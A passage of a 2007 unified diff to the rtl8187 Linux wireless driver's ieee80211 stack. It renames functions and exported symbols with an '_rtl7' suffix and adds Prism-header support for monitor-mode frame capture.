*ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_rawtx/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_module.c 2007-06-08 23:30:47.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_rx.c 2007-06-08 23:30:47.000000000 +0200 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,85 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +130,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +160,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +199,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +212,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +222,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +244,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,8 +253,8 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); @@ -253,7 +319,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +360,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +370,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +405,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +415,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +433,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -444,7 +510,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -483,7 +549,7 @@ sc = le16_to_cpu(hdr->seq_ctl); frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +567,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +595,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +621,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -575,7 +641,7 @@ #endif - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -606,7 +672,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +685,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +696,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +730,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +740,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +760,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +788,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +829,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +962,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +979,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1030,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1057,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1080,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1147,7 +1213,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,7 +1221,7 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID @@ -1172,7 +1238,7 @@ (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1204,7 +1270,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1305,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1262,11 +1328,11 @@ spin_lock_irqsave(&ieee->lock, flags); - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1372,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1321,15 +1387,15 @@ * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { @@ -1339,7 +1405,7 @@ IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1347,7 +1413,7 @@ IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1421,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff 